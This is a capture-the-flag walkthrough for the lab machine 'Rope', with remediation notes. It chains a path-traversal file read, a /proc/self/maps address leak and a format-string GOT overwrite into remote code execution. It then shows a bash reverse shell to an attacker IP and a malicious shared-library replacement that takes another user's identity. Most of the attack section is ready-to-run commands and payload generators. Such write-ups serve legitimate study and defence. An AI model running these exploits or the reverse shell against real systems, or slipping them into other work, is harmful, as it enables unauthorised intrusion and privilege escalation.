← all walkthroughs

Rope

Linux· Insane· Privilege Escalation
owned
2026-09-03
time to own
57m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Rope ($TARGET) was partially compromised by chaining two flaws in a custom 32-bit HTTP service on port 9999. A path-traversal flaw enabled unauthenticated reads of any server-accessible file; a raw-socket read of /proc/self/maps leaked binary and libc load addresses, defeating ASLR. A format-string bug in the access logger at printf offset 53 provided an arbitrary-write primitive; combined with the leaked addresses, a GOT overwrite redirected a libc call to system() and gave remote code execution as john.

From john, a world-writable shared library loaded by a passwordless-sudo log viewer was replaced with a malicious build that adopted r4j's identity and copied the user flag. Root escalation via a localhost stack-overflow service on port 1337 was identified but not completed.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconNetwork port scanning (T1046)
Port scan found SSH on 22 and an unrecognised HTTP service on 9999
A full TCP scan of $TARGET found exactly two open ports: OpenSSH 7.6p1 (Ubuntu 4ubuntu0.3) on 22 and an unknown HTTP service on 9999 presenting a Login V10 page. No other services were reachable.
Nmap output: 22/tcp ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3; 9999/tcp unrecognised HTTP.
Exact commands 2
Full TCP scan.
nmap -Pn -p- --min-rate 5000 -T4 --open $TARGET
Version detection on discovered ports.
nmap -Pn -sV -p 22,9999 $TARGET
2EnumerationPath traversal / arbitrary file read (CWE-22, T1083)
Path-traversal in the HTTP service gave unauthenticated reads of any server-accessible file
The server on 9999 resolved URL paths containing ../ sequences against the filesystem root without sanitisation. A single request to /../../../../etc/passwd returned the full file with no credentials. The same technique retrieved /proc/self/cmdline (server binary path) and allowed the binary itself to be downloaded for static analysis.
Curl --path-as-is returned /etc/passwd; /proc/self/cmdline revealed the server binary path.
Exact commands 3
Confirm arbitrary file read.
curl -sS --path-as-is "http://$TARGET:9999/../../../../etc/passwd"
Retrieve server binary path.
curl -sS --path-as-is "http://$TARGET:9999/../../../../proc/self/cmdline" | strings
Download binary for static analysis; replace <server-binary-path>.
curl -sS --path-as-is -o /tmp/rope_server "http://$TARGET:9999/../../../../<server-binary-path>"
FixSanitise URL paths in the custom HTTP server to prevent directory traversalCritical
WeaknessThe HTTP service on port 9999 resolved incoming URL paths without stripping ../ sequences, letting any unauthenticated caller read any file the server process could open — including /etc/passwd, the server binary, and /proc/self/maps. The memory map alone defeated ASLR and provided all addresses needed to build a working exploit.
FixCanonicalise every incoming path before mapping it to the document root: call realpath(3) in C or os.path.realpath() in Python, then reject any resolved path not prefixed by the intended root directory. Explicitly deny requests whose canonical path begins with /proc, /sys, or /dev. If arbitrary file serving is not a required feature of the 9999 service, remove the capability entirely.
3EnumerationProcess memory disclosure via /proc (T1082)
Read /proc/self/maps via raw socket to leak binary and libc base addresses, defeating ASLR
Curl silently returns empty for /proc pseudo-files. A raw TCP socket sent the same traversal request and read the full HTTP response, which included the process memory map. This disclosed the exact load address of the 32-bit PIE server binary and of libc, providing all symbol addresses needed for the exploit.
Map response contained 'rope_server' at 0x565e4000 and 'libc-2.27.so' at 0xf7d6b000 (run-specific values).
Exact commands 1
Raw socket bypasses curl's silent empty return for /proc pseudo-files.
python3 -c "import socket; s=socket.create_connection(('$TARGET',9999),5); s.sendall(b'GET /../../../../proc/self/maps HTTP/1.1\r\nHost: $TARGET\r\nConnection: close\r\n\r\n'); print(s.recv(65536).decode(errors='replace'))"
4ExploitationFormat-string vulnerability in printf (CWE-134)
Format-string vulnerability in the HTTP access logger confirmed at printf offset 53
The access logger passed a caller-controlled HTTP field (request path, User-Agent, or Referer) directly as the format argument to printf. Spraying %N$p markers across offsets 1-60 and reading reflected output via the path-traversal channel confirmed offset 53 was both my own and interpreted — providing an arbitrary read/write primitive inside the server process.
Injecting AAAA-%53$p in the request path reflected 0x41414141, confirming the controllable write offset.
Exact commands 2
Spray offsets; look for 0x41414141 (AAAA) to identify the write offset.
for i in $(seq 1 60); do curl -sS --path-as-is "http://$TARGET:9999/AAAA-%${i}\$p" 2>/dev/null | grep -o '0x[0-9a-f]*'; done
Confirm offset 53 reflects 0x41414141.
curl -sS --path-as-is "http://$TARGET:9999/AAAA-%53$p"
FixFix the format-string vulnerability in the HTTP access loggerCritical
WeaknessThe access logger passed a caller-controlled HTTP field directly as the format argument to a printf-family call. An unauthorised user could inject %N$n specifiers to write arbitrary values to arbitrary process memory, which was used to overwrite a GOT entry and redirect a libc function call to system() — unauthenticated remote code execution.
FixReplace every call of the form printf(user_input) with printf("%s", user_input), ensuring the format string is always a programmer-controlled literal. Compile with -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security so the compiler warns on format-string misuse and glibc terminates at runtime if a non-literal format is passed. Treat all HTTP headers and URL components as untrusted data and pass them only as arguments, never as the format string.
5ExploitationGOT overwrite via format-string arbitrary write (T1203)
GOT overwrite via format string redirected a libc call to system(), achieving RCE as john
The GOT address of a libc function in the logging path (binary base + static offset = 0x565e5048) was overwritten with the address of system() (libc base + static offset = 0xf7de9d10) using a pwntools fmtstr_payload byte-width write sequence at offset 53. A shell command prepended to the crafted request path caused the logger to call system(cmd). Output was read back via the path-traversal channel, confirming execution as uid=1001(john).
Reading /tmp/fmt-id via path traversal returned uid=1001(john) gid=1001(john) groups=1001(john).
Exact commands 3
Generate GOT-overwrite payload; replace 0x565e5048 and 0xf7de9d10 with run-specific values from /proc/self/maps + static offsets.
python3 -c "from pwn import *; context.clear(arch='i386'); print(repr(fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')))"
Build and fire the crafted request; the logger overwrites GOT and calls system('id>/tmp/fmt-id ...').
python3 -c "
from pwn import *
import urllib.parse
context.clear(arch='i386')
p = fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')
path = urllib.parse.quote('id>/tmp/fmt-id ' + p.decode('latin-1'))
print(path)
" | xargs -I{} curl -sS --path-as-is "http://$TARGET:9999/{}"
Read command output via path traversal — expect uid=1001(john).
timeout 6 curl -sS --path-as-is "http://$TARGET:9999/../../../../tmp/fmt-id"
6FootholdReverse shell via OS command execution (T1059.004)
Upgraded to an interactive reverse shell as john
The same format-string RCE channel was reused with a bash reverse-shell payload to connect back to my listener. The resulting shell ran as john (uid=1001). Enumeration showed a second local user r4j whose home directory was not readable; user.txt lived in /home/r4j, requiring further escalation. Sudo -l revealed an immediate path forward.
Reverse shell received; id confirmed uid=1001(john); sudo -l showed (ALL) NOPASSWD: /usr/bin/readlogs.
Exact commands 3
Start listener on my machine before triggering.
nc -lvnp 4444
Reuse GOT-overwrite channel with reverse-shell payload; replace $ATTACKER_IP and run-specific addresses.
python3 -c "
from pwn import *
import urllib.parse
context.clear(arch='i386')
cmd = \"bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/4444 <&1'\"
p = fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')
path = urllib.parse.quote(cmd + ' ' + p.decode('latin-1'))
print(path)
" | xargs -I{} curl -sS --path-as-is "http://$TARGET:9999/{}"
From john's shell — confirm NOPASSWD readlogs rule.
sudo -l
7Privilege EscalationShared library hijacking via world-writable path (T1574.006)
Replaced a world-writable shared library loaded by the sudo binary to escalate to r4j and capture user.txt
Ldd /usr/bin/readlogs showed it dynamically loads /lib/x86_64-linux-gnu/liblog.so at startup. That file had permissions 777 (world-writable, owned root:root). John compiled a malicious replacement whose printlog() export — the symbol readlogs calls — used setresuid/setresgid to adopt r4j's effective identity and copied /home/r4j/user.txt to /tmp/userflag. The original library was backed up, the malicious version installed, sudo /usr/bin/readlogs triggered the payload, and the original was immediately restored. The flag was read from /tmp/userflag.
Ls -la /lib/x86_64-linux-gnu/liblog.so showed -rwxrwxrwx root root; after sudo readlogs, /tmp/userflag contained r4j's user flag.
Exact commands 6
Confirm liblog.so dependency and path.
ldd /usr/bin/readlogs
Verify world-writable permissions.
ls -la /lib/x86_64-linux-gnu/liblog.so
Back up original before replacement.
cp /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.so.orig
Compile malicious liblog.so; printlog() copies user.txt to a world-readable path.
printf '%s\n' '#define _GNU_SOURCE' '#include <unistd.h>' '#include <stdlib.h>' 'void printlog(void){' 'uid_t u=geteuid(); gid_t g=getegid();' 'setresgid(g,g,g); setresuid(u,u,u);' 'system("cp /home/r4j/user.txt /tmp/userflag; chmod 644 /tmp/userflag");' '}' > /tmp/evil.c && gcc -shared -fPIC -o /tmp/liblog.so /tmp/evil.c
Install malicious library, trigger payload, restore original immediately.
cp /tmp/liblog.so /lib/x86_64-linux-gnu/liblog.so && sudo /usr/bin/readlogs; cp /tmp/liblog.so.orig /lib/x86_64-linux-gnu/liblog.so
Read r4j's user.txt — value is <user.txt>.
cat /tmp/userflag
FixRemove world-writable permissions from the shared library loaded by the privileged sudo binaryCritical
WeaknessThe shared library /lib/x86_64-linux-gnu/liblog.so was world-writable (mode 777, owned root:root), while /usr/bin/readlogs — which loads it at startup — was executable by any local user with no password via a sudo NOPASSWD rule. Any local user could replace the library and achieve privilege escalation by running sudo readlogs.
FixCorrect permissions immediately: chown root:root /lib/x86_64-linux-gnu/liblog.so && chmod 755 /lib/x86_64-linux-gnu/liblog.so. Audit every library loaded by each sudo-enabled binary (ldd /usr/bin/<binary>) and confirm none are group- or world-writable. Tighten the sudo rule: if readlogs must run with elevated privileges, restrict it to a specific low-privilege service account and require a password; avoid (ALL) NOPASSWD unless operationally essential.

Exposed services

22/tcp
9999/tcp